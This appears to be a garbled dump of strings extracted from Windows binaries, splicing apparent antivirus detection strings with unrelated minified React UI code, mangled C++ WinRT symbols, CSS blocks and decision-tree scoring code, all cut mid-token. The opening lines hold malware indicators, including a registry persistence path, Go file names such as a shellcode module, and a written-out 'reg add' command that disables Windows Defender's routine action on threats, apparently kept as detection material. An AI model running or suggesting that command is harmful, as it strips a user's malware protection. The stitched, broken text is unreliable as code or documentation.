software\microsoft\windows\currentversion\shellserviceobjectdelayloadphfkt.dlldofckt.dllrdshost.dllrdshost2.dllrdssrv.exerdssrv2.exe
.U).Executable/isadmin_windows.go/fingerprint_windows.go/filebrowser_windows.go/kill_windows.go/shellcode_windows.go!#HSTR:Kilaservos.B3
sharedWindowsCount
regadd"hklm\software\policies\microsoft\windowsdefender\real-timeprotection"/v"disableroutinelytakingaction"/treg_dword/d"1"/f
u8Hops.children),r.hasWholePageTabs(u===null||u===void 0?void 0:u.Items)&&!n.config.useCobaltCSS&&React.createElement(r.WholePageTabs,{scenario:null,Items:u===null||u===void 0?void 0:u.Items,id:`${f}_wholepagetabs`,imageHostName:l}))}}r.HeroContainer=u})(r=i.Templates||(i.Templates={}))})(i=t.DSB||(t.DSB={}))})(t=n.View||(n.View={}))}(WSB||(WSB={})),function(n){var t;(function(t){var i;(function(i){var r;(function(i){const r=55;class u extends React.Component{render(){const{id:u,Text:e,ClickThroughUrl:s,Icon:o,InstrumentedItem:f}=this.props;return React.createElement("div",{id:u,key:u,className:"dsb-hero__description focusable selectable","data-partnertag":t.whenTestHooks("DSB.HeroDescription"),"data-h":f===null||f===void 0?void 0:f.getHValue(),tabIndex:-1,role:"link",onClick:t=>{var i;s&&((i=t.persist)===null||i===void 0?void 0:i.call(t),t.stopPropagation(),n.clickDSBHandler(t.nativeEvent,s,f))},"aria-label":e,style:{minWidth:e.length<r?450:undefined}},React.createElement(React.Fragment,null,o&&React.createElement("div",{id:`${u}_icon`,key:`${u}_icon`,className:"dsb-hero__description_icon"},n.View.DSB[o]&&React.createElement(i.DynamicIcons,{id:u,Icon:o}))),React.createElement("div",{id:`${u}_text`,key:`${u}_text`,className:"dsb-hero__description_text"},e))}}i.HeroDescription=u})(r=i.Templates||(i.Templates={}))})(i=t.DSB||(t.DSB={}))})(t=n.View||(n.View={}))}(WSB||(WSB={})),function(n){var t;(function(t){var i;(function(t){var i;(function(t){const i=4;class r extends React.Component{render(){var o,s,h;const{id:y,FieldsStore:u,Scenario:e,onLeft:c,isFullWidthDSB:r,date:p,imageHostName:w}=this.props;let l=((o=u===null||u===void 0?void 0:u.Items)===null||o===void 0?void 0:o.length)?r?12:6:0;const f=(s=u===null||u===void 0?void 0:u.Items)===null||s===void 0?void 0:s.map((i,f)=>{var o,s;const h=r?`mega_${e}_${f}-full-pane`:`mega_${e}_${f}${p?"_"+p:""}`,c=`dsb-mega__images-container focusable`,a={id:h,key:h,dsbScenario:n.DSBScenario.ExploreMore,index:f,imageHostName:w,isFullWidthDSB:r,item:i,itemsLength:(s=(o=u===null||u===void 0?void 0:u.Items)===null||o===void 0?void 0:o.length)!==null&&s!==void 0?s:0,megaClassName:c,Scenario:e,padding:l};return React.createElement(t.MegaImageItem,Object.assign({},a))}),k=n.RuntimeConfiguration.TextScaleFactor;let a=0;if(r&&c){const{width:t}=n.generateThumbnailDimension({dsbSection:2,dsbScenario:n.DSBScenario[e],isWindows11:n.config.useCobaltCSS,isTwoCta:!1,isFullWidthDSB:r});a=t}let v=r?c?4:3:4;k>1&&(v=v-1);let b=a>0?n.getTilesToShowCount(2,n.DSBScenario[e],!1,r,a,c,l):v;const d={dsbScenario:e,tilesToShow:b,showAriaMessage:!1,tileSpacing:l,containerID:y,moveSlides:Math.floor(b),noPaddingCarousel:!0};return React.createElement(t.MegaContent,{id:`${y}${r?"_full_width":""}`,isFullWidthDSB:r,containerClassName:`dsb-mega mega ${n.config.expandMegaClickTarget?"exp-mega-click":""}`,headerClassName:`${n.config.expandMegaClickTarget?"exp-mega-click":""}`,scenario:e,FieldsStore:u,instrumentedItem:(h=this===null||this===void 0?void 0:this.props)===null||h===void 0?void 0:h.instrumentedItem,imageHostName:w},React.createElement("div",{className:"dsb-mega__container"},(r||(f===null||f===void 0?void 0:f.length)>i)&&React.createElement("div",{className:"dsb-mega__carousel__container"},React.createElement(t.MegaCarouselComponent,Object.assign({},d),f)),!r&&(f===null||f===void 0?void 0:f.length)<=i&&(f===null||f===void 0?void 0:f.slice(0,i))))}}t.MegaCard=r})(i=t.Templates||(t.Templates={}))})(i=t.DSB||(t.DSB={}))})(t=n.View||(n.View={}))}(WSB||(WSB={})),function(n){var t;(function(t){var i;(function(t){var i;(function(i){const r=n.config.useCobaltCSS&&n.config.newTvDesignWin11,u=15;class f extends React.Component{constructor(){super(...arguments);this.setIsHovered=(n,t)=>{t&&this.setState(t=>{const i=t.items.map(t=>t.id===n?Object.assign(Object.assign({},t),{isHovered:!t.isHovered}):t);return{items:i}})};this.getItems=()=>{const n=[];for(let t=0;t<u;t++)n.push({id:t,isHovered:!1});return n};this.state={items:this.getItems()};this.isItemHovered=n=>{var t;return((t=this.state.items.find(t=>t.id===n))===null||t==/o949ic
.?AU?$implements_delegate@U?$EventHandler@UIInspectable@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@V<lambda_1>@?4??Connect@?$DetailsPageT@UDetailsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AV<lambda_1>@?4??Connect@?$DetailsPageT@UDetailsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_6>@?8??Connect@?$UsersPageT@UUsersPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AV<lambda_6>@?8??Connect@?$UsersPageT@UUsersPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AV<lambda_7>@?9??Connect@?$UsersPageT@UUsersPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_7>@?9??Connect@?$UsersPageT@UUsersPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AV<lambda_5>@?7??Connect@?$UsersPageT@UUsersPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_5>@?7??Connect@?$UsersPageT@UUsersPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_6>@?8??Connect@?$UsersPageT@UUsersPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_5>@?7??Connect@?$UsersPageT@UUsersPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_4>@?6??Connect@?$UsersPageT@UUsersPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_3>@?5??Connect@?$UsersPageT@UUsersPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_4>@?6??Connect@?$UsersPageT@UUsersPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AV<lambda_4>@?6??Connect@?$UsersPageT@UUsersPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$implements_delegate@U?$EventHandler@UIInspectable@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@V<lambda_2>@?4??Connect@?$UsersPageT@UUsersPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AV<lambda_2>@?4??Connect@?$UsersPageT@UUsersPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
D$(r>.iconContainer>.iconBadge .iconContainer .icon .iconContent,#root:not(.zeroInput19H1):not(.fileExplorer) .suggestion.iconBackplateEnabled .suggDetailsContainer>.thumbnailContainer>.iconBadge .iconContainer .icon .iconContent{font-size:12px!important;width:12px!important;height:12px!important}#root:not(.zeroInput19H1):not(.fileExplorer) .suggestion.iconBackplateEnabled .suggDetailsContainer>.iconContainer>.iconBadge .iconContainer .icon img,#root:not(.zeroInput19H1):not(.fileExplorer) .suggestion.iconBackplateEnabled .suggDetailsContainer>.thumbnailContainer>.iconBadge .iconContainer .icon img{width:12px!important;height:12px!important}#root.darkTheme:not(.zeroInput19H1):not(.fileExplorer) .suggestion.iconBackplateEnabled .suggDetailsContainer>.iconContainer,#root.darkTheme:not(.zeroInput19H1):not(.fileExplorer) .suggestion.iconBackplateEnabled .suggDetailsContainer>.thumbnailContainer{background-color:#454545!important;border-color:rgba(225,225,225,.0698)!important}#root.darkTheme:not(.zeroInput19H1):not(.fileExplorer) .suggestion.iconBackplateEnabled .suggDetailsContainer>.iconContainer>.iconBadge,#root.darkTheme:not(.zeroInput19H1):not(.fileExplorer) .suggestion.iconBackplateEnabled .suggDetailsContainer>.thumbnailContainer>.iconBadge{background-color:#454545!important;border-color:rgba(225,225,225,.0698)!important}@media screen and (-ms-high-contrast:active),screen and (forced-colors:active){#root:not(.zeroInput19H1):not(.fileExplorer) .suggestion.iconBackplateEnabled .suggDetailsContainer>.iconContainer,#root:not(.zeroInput19H1):not(.fileExplorer) .suggestion.iconBackplateEnabled .suggDetailsContainer>.thumbnailContainer{background-color:Window!important;border-color:WindowText!important;forced-color-adjust:none}#root:not(.zeroInput19H1):not(.fileExplorer) .suggestion.iconBackplateEnabled .suggDetailsContainer>.iconContainer>.iconBadge,#root:not(.zeroInput19H1):not(.fileExplorer) .suggestion.iconBackplateEnabled .suggDetailsContainer>.thumbnailContainer>.iconBadge{background-color:Window!important;border-color:WindowText!important}}#root:not(.zeroInput19H1):not(.fileExplorer) .suggestion.iconBackplateEnabled .suggDetailsContainer .details{display:flex!important;flex-direction:column!important;justify-content:center!important;align-items:flex-start!important;text-align:left!important}body[dir='ltr'] #root:not(.zeroInput19H1):not(.fileExplorer) .suggestion.iconBackplateEnabled .suggDetailsContainer .details{padding-left:12px!important}body[dir='rtl'] #root:not(.zeroInput19H1):not(.fileExplorer) .suggestion.iconBackplateEnabled .suggDetailsContainer .details{padding-right:12px;text-align:right}#root:not(.zeroInput19H1):not(.fileExplorer) .suggestion.iconBackplateEnabled .suggDetailsContainer .details .primaryTextContent{width:var(--wsb-primaryTextContent-width)!important;box-sizing:border-box!important;text-overflow:ellipsis!important;overflow:hidden!important;white-space:nowrap!important}#root:not(.zeroInput19H1):not(.fileExplorer) .suggestion.iconBackplateEnabled:hover .suggDetailsContainer:not(.leftPill){--wsb-primaryTextContent-width:180px}#root:not(.zeroInput19H1):not(.fileExplorer) .suggestion.iconBackplateEnabled.sa_hv .suggDetailsContainer>.iconContainer,#root:not(.zeroInput19H1):not(.fileExplorer) .suggestion.iconBackplateEnabled.sa_hv .suggDetailsContainer>.thumbnailContainer,#root:not(.zeroInput19H1):not(.fileExplorer) .suggestion.iconBackplateEnabled:hover .suggDetailsContainer>.iconContainer,#root:not(.zeroInput19H1):not(.fileExplorer) .suggestion.iconBackplateEnabled:hover .suggDetailsContainer>.thumbnailContainer{background-color:rgba(255,102,251,.4)!important}@media screen and (-ms-high-contrast:active),screen and (forced-colors:active){#root:not(.zeroInput19H1):not(.fileExplorer) .suggestion.iconBackplateEnabled.sa_hv .suggDetailsContainer>.iconContainer,#root:not(.zeroInput19H1):not(.fileExplorer) .suggestion.iconBackplateEnabled.sa_hv .suggDetailsContainer>.thumbnailContainer,#root:not(.zeroInput19H1):not(.fileExplorer) .suggestion.iconBackplateEnabled:hover .suggDetailsContainer>.iconContainer,#rooiconContainer.secondaryIcon>.icon img,#root:not(.zeroInput19H1):not(.fileExplorer) .suggestion.iconBackplateEnabled .suggDetailsContainer>.thumbnailContainer.secondaryIcon>.icon img{width:40px!important;height:40px!important;border-radius:8px!important}#root:not(.zeroInput19H1):not(.fileExplorer) .suggestion.iconBackplateEnabled .suggDetailsContainer>.iconContainer>.iconBadge,#root:not(.zeroInput19H1):not(.fileExplorer) .suggestion.iconBackplateEnabled .suggDetailsContainer>.thumbnailContainer>.iconBadge{position:absolute!important;bottom:-8px!important;width:20px!important;height:20px!important;min-width:20px!important;min-height:20px!important;max-width:20px!important;max-height:20px!important;background-color:#fff!important;border:1px solid rgba(0,0,0,.0578)!important;border-radius:4px!important;display:flex!important;align-items:center!important;justify-content:center!important;flex-shrink:0!important;pointer-events:none!important;z-index:10!important}body[dir] #root:not(.zeroInput19H1):not(.fileExplorer) .suggestion.iconBackplateEnabled .suggDetailsContainer>.iconContainer>.iconBadge,body[dir] #root:not(.zeroInput19H1):not(.fileExplorer) .suggestion.iconBackplateEnabled .suggDetailsContainer>.thumbnailContainer>.iconBadge{margin:0!important;padding:0!important}body[dir='ltr'] #root:not(.zeroInput19H1):not(.fileExplorer) .suggestion.iconBackplateEnabled .suggDetailsContainer>.iconContainer>.iconBadge,body[dir='ltr'] #root:not(.zeroInput19H1):not(.fileExplorer) .suggestion.iconBackplateEnabled .suggDetailsContainer>.thumbnailContainer>.iconBadge{right:-8px!important}body[dir='rtl'] #root:not(.zeroInput19H1):not(.fileExplorer) .suggestion.iconBackplateEnabled .suggDetailsContainer>.iconContainer>.iconBadge,body[dir='rtl'] #root:not(.zeroInput19H1):not(.fileExplorer) .suggestion.iconBackplateEnabled .suggDetailsContainer>.thumbnailContainer>.iconBadge{left:-8px}#root:not(.zeroInput19H1):not(.fileExplorer) .suggestion.iconBackplateEnabled .suggDetailsContainer>.iconContainer>.iconBadge .iconContainer,#root:not(.zeroInput19H1):not(.fileExplorer) .suggestion.iconBackplateEnabled .suggDetailsContainer>.thumbnailContainer>.iconBadge .iconContainer{width:12px!important;height:12px!important;min-width:12px!important;min-height:12px!important;max-width:12px!important;max-height:12px!important;background-color:transparent!important;border:0!important;border-radius:0!important;display:flex!important;align-items:center!important;justify-content:center!important;position:static!important;transform:none!important;top:auto!important;flex-shrink:0!important}body[dir] #root:not(.zeroInput19H1):not(.fileExplorer) .suggestion.iconBackplateEnabled .suggDetailsContainer>.iconContainer>.iconBadge .iconContainer,body[dir] #root:not(.zeroInput19H1):not(.fileExplorer) .suggestion.iconBackplateEnabled .suggDetailsContainer>.thumbnailContainer>.iconBadge .iconContainer{margin:0!important;padding:0!important}body[dir='ltr'] #root:not(.zeroInput19H1):not(.fileExplorer) .suggestion.iconBackplateEnabled .suggDetailsContainer>.iconContainer>.iconBadge .iconContainer,body[dir='ltr'] #root:not(.zeroInput19H1):not(.fileExplorer) .suggestion.iconBackplateEnabled .suggDetailsContainer>.thumbnailContainer>.iconBadge .iconContainer{left:auto!important}body[dir='rtl'] #root:not(.zeroInput19H1):not(.fileExplorer) .suggestion.iconBackplateEnabled .suggDetailsContainer>.iconContainer>.iconBadge .iconContainer,body[dir='rtl'] #root:not(.zeroInput19H1):not(.fileExplorer) .suggestion.iconBackplateEnabled .suggDetailsContainer>.thumbnailContainer>.iconBadge .iconContainer{right:auto}#root:not(.zeroInput19H1):not(.fileExplorer) .suggestion.iconBackplateEnabled .suggDetailsContainer>.iconContainer>.iconBadge .iconContainer .icon,#root:not(.zeroInput19H1):not(.fileExplorer) .suggestion.iconBackplateEnabled .suggDetailsContainer>.thumbnailContainer>.iconBadge .iconContainer .icon{width:12px!important;height:12px!important;position:static!important;transform:none!important}#root:not(.zeroInput19H1):not(.fileExplorer) .suggestion.iconBackplateEnabled .suggDetailsContaineroot:not(.zeroInput19H1):not(.fileExplorer) .sa_hv .suggDetailsContainer:hover .annotation,#root:not(.zeroInput19H1):not(.fileExplorer) .sa_hv .openPreviewPaneBtn:hover,#root:not(.zeroInput19H1):not(.fileExplorer) .suggDetailsContainer:active .annotation,#root:not(.zeroInput19H1):not(.fileExplorer) .openPreviewPaneBtn:active{color:rgba(0,0,0,.6)}#root:not(.zeroInput19H1):not(.fileExplorer) .sa_hv.selectable.arrowOrTabAction .suggContainer{border-radius:7px}#root:not(.zeroInput19H1):not(.fileExplorer) .suggestion.iconBackplateEnabled .suggDetailsContainer{min-height:56px;display:flex!important;align-items:center!important;--wsb-primaryTextContent-width:240px}body[dir='ltr'] #root:not(.zeroInput19H1):not(.fileExplorer) .suggestion.iconBackplateEnabled .suggDetailsContainer{padding:8px 12px 8px 8px}body[dir='rtl'] #root:not(.zeroInput19H1):not(.fileExplorer) .suggestion.iconBackplateEnabled .suggDetailsContainer{padding:8px 8px 8px 12px}#root:not(.zeroInput19H1):not(.fileExplorer) .suggestion.iconBackplateEnabled .suggDetailsContainer>.iconContainer,#root:not(.zeroInput19H1):not(.fileExplorer) .suggestion.iconBackplateEnabled .suggDetailsContainer>.thumbnailContainer{width:40px!important;height:40px!important;min-width:40px!important;min-height:40px!important;max-width:40px!important;max-height:40px!important;background-color:#fff!important;border:1px solid rgba(0,0,0,.0578)!important;border-radius:8px!important;display:flex!important;align-items:center!important;justify-content:center!important;flex-shrink:0!important;position:relative!important;top:auto!important;transform:none!important}body[dir] #root:not(.zeroInput19H1):not(.fileExplorer) .suggestion.iconBackplateEnabled .suggDetailsContainer>.iconContainer,body[dir] #root:not(.zeroInput19H1):not(.fileExplorer) .suggestion.iconBackplateEnabled .suggDetailsContainer>.thumbnailContainer{margin:0!important;padding:0!important}#root:not(.zeroInput19H1):not(.fileExplorer) .suggestion.iconBackplateEnabled .suggDetailsContainer>.iconContainer>.icon,#root:not(.zeroInput19H1):not(.fileExplorer) .suggestion.iconBackplateEnabled .suggDetailsContainer>.thumbnailContainer>.icon{width:24px!important;height:24px!important;display:flex!important;align-items:center!important;justify-content:center!important}#root:not(.zeroInput19H1):not(.fileExplorer) .suggestion.iconBackplateEnabled .suggDetailsContainer>.iconContainer>.icon .iconContent,#root:not(.zeroInput19H1):not(.fileExplorer) .suggestion.iconBackplateEnabled .suggDetailsContainer>.thumbnailContainer>.icon .iconContent{font-size:14px!important;display:flex!important;align-items:center!important;justify-content:center!important}body[dir] #root:not(.zeroInput19H1):not(.fileExplorer) .suggestion.iconBackplateEnabled .suggDetailsContainer>.iconContainer>.icon .iconContent,body[dir] #root:not(.zeroInput19H1):not(.fileExplorer) .suggestion.iconBackplateEnabled .suggDetailsContainer>.thumbnailContainer>.icon .iconContent{margin:0 auto}#root:not(.zeroInput19H1):not(.fileExplorer) .suggestion.iconBackplateEnabled .suggDetailsContainer>.iconContainer>.icon img,#root:not(.zeroInput19H1):not(.fileExplorer) .suggestion.iconBackplateEnabled .suggDetailsContainer>.thumbnailContainer>.icon img{width:24px!important;height:24px!important;display:flex!important;align-items:center!important;justify-content:center!important}#root:not(.zeroInput19H1):not(.fileExplorer) .suggestion.iconBackplateEnabled .suggDetailsContainer>.iconContainer.secondaryIcon,#root:not(.zeroInput19H1):not(.fileExplorer) .suggestion.iconBackplateEnabled .suggDetailsContainer>.thumbnailContainer.secondaryIcon{background-color:transparent!important;border:0!important}#root:not(.zeroInput19H1):not(.fileExplorer) .suggestion.iconBackplateEnabled .suggDetailsContainer>.iconContainer.secondaryIcon>.icon,#root:not(.zeroInput19H1):not(.fileExplorer) .suggestion.iconBackplateEnabled .suggDetailsContainer>.thumbnailContainer.secondaryIcon>.icon{width:40px!important;height:40px!important}#root:not(.zeroInput19H1):not(.fileExplorer) .suggestion.iconBackplateEnabled .suggDetailsContainer>.t(n,264)>.28414?t(n,94)>.08159?.14103:t(n,17)>0?-.09326:.09157:t(n,135)>1.93406?t(n,327)>6394?-.29301:t(n,352)>20820820?.01803:t(n,327)>6342.5?.45946:-.1752:t(n,327)>7325.5?-.06279:t(n,10)>3.5?-.06243:-.28027:t(n,284)>2.5?t(n,264)>.16229?-.05065:.19539:-.01465:t(n,264)>.23499?.00376:.15524:-.13698:t(n,137)>13.5?-.0327:t(n,284)>9.5?.35166:t(n,352)>2095679.5?.02909:.12309:t(n,121)>0?t(n,1030)>0?-.11877:t(n,282)>.05582?t(n,17)>0?.03905:-.12391:t(n,284)>1.5?t(n,17)>.02982?.01897:.1212:-.04359:t(n,350)>.47912?t(n,1031)>0?-.00777:-.06119:t(n,17)>0?t(n,322)>575?t(n,334)>955.5?-.00446:t(n,421)>.99426?.24777:.05344:t(n,189)>0?t(n,7)>991?t(n,137)>5.5?.06843:-.07629:t(n,136)>0?-.13286:t(n,135)>.12311?.0217:-.14132:t(n,10)>15.5?.121:t(n,135)>0?t(n,17)>.5037?.08837:t(n,404)>0?.02805:t(n,188)>0?-.01551:-.18416:.14734:t(n,47)>1.5?.2439:t(n,94)>.07408?t(n,135)>.25212?.15239:-.15326:t(n,189)>0?.38831:-.0231:t(n,7)>0?t(n,103)>.96162?t(n,170)>.72557?.15349:-.01212:t(n,103)>.33344?t(n,9)>.35821?t(n,9)>1.14342?t(n,264)>.19541?-.00382:.03845:.07904:-.01523:-.00013:t(n,284)>9.5?.06696:t(n,17)>.04927?t(n,23)>.66615?t(n,350)>.17205?-.09983:.03655:-.12642:t(n,350)>.49768?t(n,59)>0?t(n,137)>2.5?t(n,264)>.28414?.09835:.36563:-.07001:.02432:t(n,100)>.00424?t(n,263)>.99981?-.0399:.1421:t(n,61)>0?.12028:t(n,284)>4.5?t(n,137)>12.5?.01183:t(n,137)>10.5?-.16424:-.01055:t(n,136)>0?t(n,1002)>0?.02908:t(n,10)>6.5?.01042:t(n,10)>2.5?-.05292:.09213:.07245}function st(n){return t(n,268)>2730.68409?t(n,264)>.11832?-.03672:.04483:t(n,16)>961?t(n,404)>0?t(n,23)>.93113?.0887:t(n,284)>33.5?.16625:t(n,23)>.85354?t(n,420)>.62227?-.04097:-.20126:t(n,264)>.09609?-.04574:.14978:t(n,268)>137.93769?t(n,1031)>0?t(n,334)>7829.5?.05668:.0008:-.00759:t(n,352)>93.5?t(n,137)>3.5?t(n,137)>23.5?t(n,2)>6.5?.07602:t(n,302)>0?-.14416:t(n,350)>.95753?-.02349:t(n,420)>.73694?-.03439:t(n,137)>62.5?-.04776:t(n,284)>51.5?t(n,16)>2267?t(n,16)>6330.5?.09362:.30765:-.00708:t(n,334)>5720.5?t(n,134)>19.5?t(n,400)>0?t(n,166)>655418.5?-.35197:t(n,420)>.52387?t(n,134)>20.5?t(n,420)>.5278?t(n,137)>30.5?t(n,10)>2.5?.00661:.14362:-.04815:.25603:.10562:-.14435:t(n,420)>.69686?t(n,403)>0?.09078:-.01007:t(n,350)>.44324?t(n,264)>.06165?.00331:-.23029:.0493:t(n,264)>.10729?t(n,135)>1.70294?.13918:-.00314:.28594:t(n,420)>.62901?-.02836:t(n,350)>.64385?.03148:t(n,264)>.20638?-.03561:.02366:t(n,284)>8.5?t(n,135)>.90238?-.00427:t(n,350)>.4161?t(n,2)>1.5?.07849:t(n,83)>0?-.10069:t(n,420)>.52241?t(n,420)>.69175?-.02167:.14962:-.168:t(n,137)>15.5?t(n,420)>.57695?-.03324:-.31427:t(n,145)>0?-.44094:-.12922:t(n,1031)>0?t(n,16)>1000.5?-.02234:.0373:t(n,134)>11.5?.07991:.00795:t(n,400)>0?t(n,350)>.21654?-.04884:.16293:t(n,100)>.9987?-.26408:t(n,282)>.66354?.25:-.08035:t(n,165)>.2583?t(n,322)>500.5?t(n,16)>11292?-.15565:.11335:.15702:t(n,264)>.08794?t(n,134)>19.5?t(n,284)>19.5?.00204:-.08829:t(n,135)>3.51667?-.01741:t(n,268)>3.9408?t(n,334)>955.5?t(n,323)>515?-.06107:.04514:.0125:t(n,351)>.15442?-.06452:t(n,284)>15.5?t(n,420)>.57198?.03727:t(n,420)>.54764?.26811:.09098:t(n,134)>15.5?t(n,10)>11.5?.00986:-.15811:t(n,170)>0?-.08405:.02746:t(n,2)>7.5?.12968:t(n,10)>5.5?.06683:t(n,64)>0?-.27932:-.12097:t(n,83)>0?t(n,334)>0?t(n,420)>.75931?.06267:t(n,137)>16.5?t(n,137)>17.5?.01131:.14276:t(n,350)>.28163?-.00735:t(n,404)>0?-.21725:-.01071:.09523:t(n,323)>983?t(n,145)>0?.02896:t(n,322)>42.5?.0041:-.08429:t(n,322)>963.5?t(n,264)>.37686?t(n,420)>.51909?t(n,89)>0?-.35817:-.02777:-.08898:t(n,145)>0?t(n,322)>983?t(n,17)>.02592?-.07577:.01962:-.07613:t(n,134)>17.5?-.03109:t(n,334)>8669.5?.0071:.04764:t(n,284)>0?t(n,302)>0?-.26437:t(n,311)>147.5?t(n,11)>0?-.23792:-.04262:t(n,121)>0?t(n,282)>.05582?t(n,307)>.09937?.04425:-.06611:t(n,1031)>0?.12033:t(n,13)>313.5?-.05169:t(n,23)>.59926?-.0418:.04433:t(n,126)>0?-.04482:t(n,307)>.0015?.05764:-.00638:t(n,323)>970?-.14761:t(n,310)>.97569?t(n,13)>760.5?.10727:t(n,13)>0?t(n,169)>.01056?t(n,137)>2.5?.03216:t(n,1002)>0?-.19917:.0173:-.1211:t(n,180)>.02248?.03358:.10527:t(n,137)>9.5?t(n,350)>.203?.10411:t(n,322)>575?.10591:.00576:t(n,13)>220.5?t(n,169)>.25658?-.07758:.07116:t(n,350)>.79118?t(ale))}#root:not(.zeroInput19H1):not(.fileExplorer) .topResults .optSugHoverStyle .suggContainer .suggDetailsContainer:hover .iconContainer.secondaryIcon,#root:not(.zeroInput19H1):not(.fileExplorer) .topResults .optSugHoverStyle .suggContainer .suggDetailsContainer:hover .copilotIconContainer.secondaryIcon{transform:scale(var(--topResultScale))}body[dir] #root:not(.zeroInput19H1):not(.fileExplorer) .gridLayout .suggsList,body[dir] #root:not(.zeroInput19H1):not(.fileExplorer) .gridLayout .suggestion,body[dir] #root:not(.zeroInput19H1):not(.fileExplorer) .gridLayout .suggDetailsContainer{padding:0}#root:not(.zeroInput19H1):not(.fileExplorer) .gridLayout .sa_hv.selectable.arrowOrTabAction{border-color:rgba(0,0,0,.8956)!important}#root.darkTheme:not(.zeroInput19H1):not(.fileExplorer) .gridLayout .sa_hv.selectable.arrowOrTabAction{border-color:#fff!important}#root:not(.zeroInput19H1):not(.fileExplorer) .gridLayout .imageGridGroupHeader{font-weight:normal;line-height:16px;font-size:12px;color:rgba(0,0,0,.6063)}body[dir='ltr'] #root:not(.zeroInput19H1):not(.fileExplorer) .gridLayout .imageGridGroupHeader{margin-left:10px}body[dir='rtl'] #root:not(.zeroInput19H1):not(.fileExplorer) .gridLayout .imageGridGroupHeader{margin-right:10px}#root.darkTheme:not(.zeroInput19H1):not(.fileExplorer) .gridLayout .imageGridGroupHeader{color:rgba(255,255,255,.786)}#root:not(.zeroInput19H1):not(.fileExplorer) .gridLayout .imageGridList{gap:3px}body[dir] #root:not(.zeroInput19H1):not(.fileExplorer) .gridLayout .imageGridList{padding-top:7px;padding-bottom:10px}body[dir='ltr'] #root:not(.zeroInput19H1):not(.fileExplorer) .gridLayout .imageGridList{padding-left:10px}body[dir='rtl'] #root:not(.zeroInput19H1):not(.fileExplorer) .gridLayout .imageGridList{padding-right:10px}#root:not(.zeroInput19H1):not(.fileExplorer) .gridLayout .imageGridList .imageGridSuggestion{border-radius:8px!important}body[dir] #root:not(.zeroInput19H1):not(.fileExplorer) .gridLayout .imageGridList .imageGridSuggestion{margin:0}body[dir] #root:not(.zeroInput19H1):not(.fileExplorer) .gridLayout .imageGridList .imageGridSuggestion:not(.sa_hv):hover{border-width:2px!important}#root:not(.zeroInput19H1):not(.fileExplorer) .gridLayout .imageGridList .imageGridSuggestion:hover{background:none}#root:not(.zeroInput19H1):not(.fileExplorer) .gridLayout .imageGridList .imageGridSuggestion:focus,#root:not(.zeroInput19H1):not(.fileExplorer) .gridLayout .imageGridList .imageGridSuggestion:focus-visible{outline:0;border-color:transparent!important}#root:not(.zeroInput19H1):not(.fileExplorer) .gridLayout .imageGridList .imageGridSuggestion .suggContainer{border-radius:6px!important;border:2px solid transparent!important;forced-color-adjust:none;-ms-high-contrast-adjust:none}#root:not(.zeroInput19H1):not(.fileExplorer) .gridLayout .imageGridList .imageGridSuggestion .suggContainer:hover{background:none}#root:not(.zeroInput19H1):not(.fileExplorer) .gridLayout .imageGridList .imageGridSuggestion .suggContainer:focus,#root:not(.zeroInput19H1):not(.fileExplorer) .gridLayout .imageGridList .imageGridSuggestion .suggContainer:focus-visible{outline:0;border-color:transparent!important}#root:not(.zeroInput19H1):not(.fileExplorer) .gridLayout .imageGridList .imageGridSuggestion .suggContainer:hover{border-color:#7a7a7a!important}#root.darkTheme:not(.zeroInput19H1):not(.fileExplorer) .gridLayout .imageGridList .imageGridSuggestion .suggContainer:hover{border-color:#7a7a7a!important}#root:not(.zeroInput19H1):not(.fileExplorer) .gridLayout 